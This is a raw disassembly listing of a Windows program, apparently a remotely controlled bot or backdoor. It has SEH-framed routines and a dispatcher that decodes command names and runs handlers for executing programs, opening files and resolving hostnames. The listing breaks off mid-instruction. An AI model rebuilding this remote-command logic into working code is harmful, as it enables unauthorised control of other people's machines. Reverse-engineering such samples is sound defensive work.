======================================= sub_403E50 proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40222A lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_40222A mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403F30 proc near ; CODE XREF: sub_40208Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403F30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AE6 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403F30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_404010 proc near ; CODE XREF: sub_401D48j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_404010 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017EE lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_404010 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017EE push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017EE lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017EE lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017EE push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017EE lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017EE lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017EE push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017EE lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017EE lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017EE push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017EE lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017EE push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017EE push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h, 24548D23h dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h, 0FE8105Ch dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C60AE890h dd 0C88B023Dh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh dd 0 ; --------------------------------------------------------------------------- add esp, 54h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 150h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404690 proc near ; CODE XREF: sub_401A41j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404690 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_401479 mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_4046D2 push ebx jmp short loc_4046D6 ; --------------------------------------------------------------------------- loc_4046D2: ; CODE XREF: sub_404690+3Dj lea eax, [esi+15h] push eax loc_4046D6: ; CODE XREF: sub_404690+40j mov ecx, edi call sub_401FDC mov al, [esi+94h] test al, al jz short loc_4046F2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FDC loc_4046F2: ; CODE XREF: sub_404690+55j mov al, [esi+95h] test al, al jz short loc_40476F lea ecx, [esp+98h+var_6C] call sub_40142E push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013ED add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E47 push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FDC lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40476F: ; CODE XREF: sub_404690+6Aj push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E47 lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_401479 push 0 mov ecx, esi mov ebp, eax call sub_401479 mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_404A3A push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019C4 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40485F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jz short loc_40485F mov bl, 1 jmp short loc_404861 ; --------------------------------------------------------------------------- loc_40485F: ; CODE XREF: sub_404690+1A6j ; sub_404690+1C9j xor bl, bl loc_404861: ; CODE XREF: sub_404690+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_404A1E push offset asc_444600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_404A3A push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_404A3A push 20h mov ecx, esi call sub_401D34 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E47 mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D34 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E47 push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40202C lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FDC push offset asc_444600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016B8 lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E47 push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FDC lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049F7 test ebp, ebp jle short loc_404A08 loc_4049E8: ; CODE XREF: sub_404690+363j mov ecx, [esp+98h+var_88] push esi call sub_401F87 dec ebp jnz short loc_4049E8 jmp short loc_404A08 ; --------------------------------------------------------------------------- loc_4049F7: ; CODE XREF: sub_404690+352j test ebp, ebp jle short loc_404A08 loc_4049FB: ; CODE XREF: sub_404690+376j mov ecx, [esp+98h+var_88] push esi call sub_40144C dec ebp jnz short loc_4049FB loc_404A08: ; CODE XREF: sub_404690+356j ; sub_404690+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A1E: ; CODE XREF: sub_404690+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_404A35 call sub_401F87 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A35: ; CODE XREF: sub_404690+39Cj call sub_40144C loc_404A3A: ; CODE XREF: sub_404690+162j ; sub_404690+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B60 proc near ; CODE XREF: sub_401F87j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_44AC62 call sub_4014DD mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404BA6 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jnz short loc_404BA6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BA6: ; CODE XREF: sub_404B60+1Dj ; sub_404B60+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jnz short loc_404BE6 mov al, [edi+469h] test al, al jz short loc_404BE6 push 0 lea ecx, [esi+2Ah] call sub_401479 cmp byte ptr [eax], 23h jz short loc_404BE6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_404B60+64j ; sub_404B60+6Ej ... push esi mov ecx, edi call sub_40144C pop edi pop esi retn 4 sub_404B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C30 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017EE push eax mov ecx, offset dword_449118 call sub_401B04 test eax, eax jz short loc_404C5A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C5A: ; CODE XREF: sub_404C30+1Cj xor al, al pop esi retn 4 sub_404C30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_40186Bj push esi push edi mov edi, dword_5118AC mov esi, ecx call edi mov edx, dword_4D8099 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C9F mov ecx, offset byte_4D8075 call sub_401D20 call edi mov dword_4D8099, eax loc_404C9F: ; CODE XREF: sub_404C70+1Cj pop edi mov al, 1 pop esi retn sub_404C70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404CC0 proc near ; CODE XREF: sub_4017D0j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404CC0 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404D34 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [edi+2E3h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404D34: ; CODE XREF: sub_404CC0+40j lea ecx, [edi+0D6Bh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404EC5 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_444600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C71 push eax lea ecx, [esp+180h+var_14C] call sub_4017EE push eax nop call near ptr 2800000h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FDC mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014DD push eax push 0 nop call near ptr 27F0459h test eax, eax jnz short loc_404E99 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404E99: ; CODE XREF: sub_404CC0+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404EC5: ; CODE XREF: sub_404CC0+89j lea ecx, [edi+0B71h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F74 push 1 push offset asc_444600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E8E45 mov [esp+178h+var_4], 3 call sub_4017EE push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F60 mov al, byte_449896 test al, al jz short loc_404F30 push offset dword_449834 mov ecx, offset dword_44AD70 call sub_401451 loc_404F30: ; CODE XREF: sub_404CC0+25Fj mov al, byte_4498DF test al, al jz short loc_404F48 push offset byte_44990F mov ecx, offset dword_44AD70 call sub_401951 loc_404F48: ; CODE XREF: sub_404CC0+277j mov ecx, offset dword_44AD70 call sub_401E79 mov byte_4D808C, 0 mov byte_4E8E44, 0 loc_404F60: ; CODE XREF: sub_404CC0+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404F74: ; CODE XREF: sub_404CC0+21Aj lea ecx, [edi+0C57h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404FBC lea ecx, [esi+69h] call sub_4014DD push eax mov ecx, offset word_4E8E5A call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404FBC: ; CODE XREF: sub_404CC0+2C9j lea ecx, [edi+0DC7h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405076 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019C4 mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1D4h+var_164] push 9 push ecx mov [esp+1DCh+var_4], 4 call sub_4019C4 add esp, 64h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405076: ; CODE XREF: sub_404CC0+311j lea ecx, [edi+0D0Fh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405194 lea ecx, [esp+178h+var_14C] call sub_40142E push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017EE push eax lea ecx, [esp+17Ch+var_14C] call sub_401A9B lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017EE push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_402112 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40202C lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405194: ; CODE XREF: sub_404CC0+3CBj lea ecx, [edi+0D99h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_4051B7 mov byte_4D808C, al mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4051B7: ; CODE XREF: sub_404CC0+4E9j lea ecx, [edi+0D3Dh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40547E lea ecx, [esp+178h+var_11C] call sub_40142E push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_405241 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405241: ; CODE XREF: sub_404CC0+56Bj push offset asc_444600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017EE push eax nop call near ptr 71AB2BF4h lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_405314 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax call near ptr 71ABE479h nop mov edi, eax test edi, edi jz loc_4053F5 push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017EE push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40545B ; --------------------------------------------------------------------------- loc_405314: ; CODE XREF: sub_404CC0+5C7j push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017EE push eax call near ptr 71AB4FD4h nop lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053F5 mov ecx, [edi+0Ch] push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016B8 mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh call near ptr 71AB3F41h nop push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4053F5: ; CODE XREF: sub_404CC0+5E0j ; sub_404CC0+691j push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr 